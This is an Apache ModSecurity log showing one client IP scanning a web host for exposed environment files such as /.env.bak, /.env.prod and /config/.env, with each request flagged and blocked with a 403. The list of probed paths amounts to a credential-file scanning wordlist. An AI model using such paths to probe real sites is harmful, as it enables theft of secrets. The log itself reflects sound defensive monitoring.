[Sun Oct 25 22:08:49.099632 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at62Mb1YxWy7Rpvzy4DLvAAAAB4"]
[Sun Oct 25 22:08:49.120028 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at62MYLcv9dw313oUE99_gAAAAM"]
[Sun Oct 25 22:08:49.120028 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at62MRaKu-Zjs56a5J4sDgAAAAo"]
[Sun Oct 25 22:08:49.120247 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at62MRaKu-Zjs56a5J4sDgAAAAo"]
[Sun Oct 25 22:08:49.120254 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at62MYLcv9dw313oUE99_gAAAAM"]
[Sun Oct 25 22:08:49.120521 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at62MYLcv9dw313oUE99_gAAAAM"]
[Sun Oct 25 22:08:49.120527 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at62MRaKu-Zjs56a5J4sDgAAAAo"]
[Sun Oct 25 22:08:49.142845 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at62MTmmX3asvCDITlDxgAAAAAA"]
[Sun Oct 25 22:08:49.143037 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at62MTmmX3asvCDITlDxgAAAAAA"]
[Sun Oct 25 22:08:49.143280 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at62MTmmX3asvCDITlDxgAAAAAA"]
[Sun Oct 25 22:08:49.163302 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at62MVKNdIrfpEod-HqEBwAAACo"]
[Sun Oct 25 22:08:49.163531 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at62MVKNdIrfpEod-HqEBwAAACo"]
[Sun Oct 25 22:08:49.163798 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at62MVKNdIrfpEod-HqEBwAAACo"]
[Sun Oct 25 22:08:49.168927 2026] [security2:error] [pid 2943075:tid 2943075] [client 34.81.7.133:40540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at62Me5SFKMRZX57g5QU1AAAACg"]
[Sun Oct 25 22:08:49.169119 2026] [security2:error] [pid 2943075:tid 2943075] [client 34.81.7.133:40540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at62Me5SFKMRZX57g5QU1AAAACg"]
[Sun Oct 25 22:08:49.169595 2026] [security2:error] [pid 2943075:tid 2943075] [client 34.81.7.133:40540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at62Me5SFKMRZX57g5QU1AAAACg"]
[Sun Oct 25 22:08:49.204462 2026] [security2:error] [pid 2943074:tid 2943074] [client 34.81.7.133:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at62MVHtE8VtTsGQsKvn7AAAACc"]
[Sun Oct 25 22:08:49.204728 2026] [security2:error] [pid 2943074:tid 2943074] [client 34.81.7.133:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at62MVHtE8VtTsGQsKvn7AAAACc"]
[Sun Oct 25 22:08:49.205037 2026] [security2:error] [pid 2943074:tid 2943074] [client 34.81.7.133:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at62MVHtE8VtTsGQsKvn7AAAACc"]
[Sun Oct 25 22:08:49.206753 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at62MQo4OiAv7EzdRZ1MDQAAABI"]
[Sun Oct 25 22:08:49.206911 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at62MQo4OiAv7EzdRZ1MDQAAABI"]
[Sun Oct 25 22:08:49.207146 2026] [security2:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at62MQo4OiAv7EzdRZ1MDQAAABI"]
[Sun Oct 25 22:08:49.298526 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at62Mfv3Bqe9ulig-nTwsgAAAAk"]
[Sun Oct 25 22:08:49.298738 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at62Mfv3Bqe9ulig-nTwsgAAAAk"]
[Sun Oct 25 22:08:49.299055 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at62Mfv3Bqe9ulig-nTwsgAAAAk"]
[Sun Oct 25 22:08:49.320692 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at62MT23lTe6Xv-mctsN_wAAACs"]
[Sun Oct 25 22:08:49.320884 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at62MT23lTe6Xv-mctsN_wAAACs"]
[Sun Oct 25 22:08:49.321137 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at62MT23lTe6Xv-mctsN_wAAACs"]
[Sun Oct 25 22:08:49.357829 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at62MZ7ubR9zMkfykS4UCgAAAB8"]
[Sun Oct 25 22:08:49.358069 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at62MZ7ubR9zMkfykS4UCgAAAB8"]
[Sun Oct 25 22:08:49.358425 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at62MZ7ubR9zMkfykS4UCgAAAB8"]
[Sun Oct 25 22:08:49.359449 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at62MTbTjnVH12qwK530ewAAABw"]
[Sun Oct 25 22:08:49.359645 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at62MTbTjnVH12qwK530ewAAABw"]
[Sun Oct 25 22:08:49.359867 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at62MTbTjnVH12qwK530ewAAABw"]
[Sun Oct 25 22:08:49.413703 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at62MTmmX3asvCDITlDxgQAAAAA"]
[Sun Oct 25 22:08:49.413941 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at62MTmmX3asvCDITlDxgQAAAAA"]
[Sun Oct 25 22:08:49.414254 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at62MTmmX3asvCDITlDxgQAAAAA"]
[Sun Oct 25 22:08:49.465807 2026] [security2:error] [pid 2943074:tid 2943074] [client 34.81.7.133:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at62MVHtE8VtTsGQsKvn7QAAACc"]
[Sun Oct 25 22:08:49.466041 2026] [security2:error] [pid 2943074:tid 2943074] [client 34.81.7.133:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at62MVHtE8VtTsGQsKvn7QAAACc"]
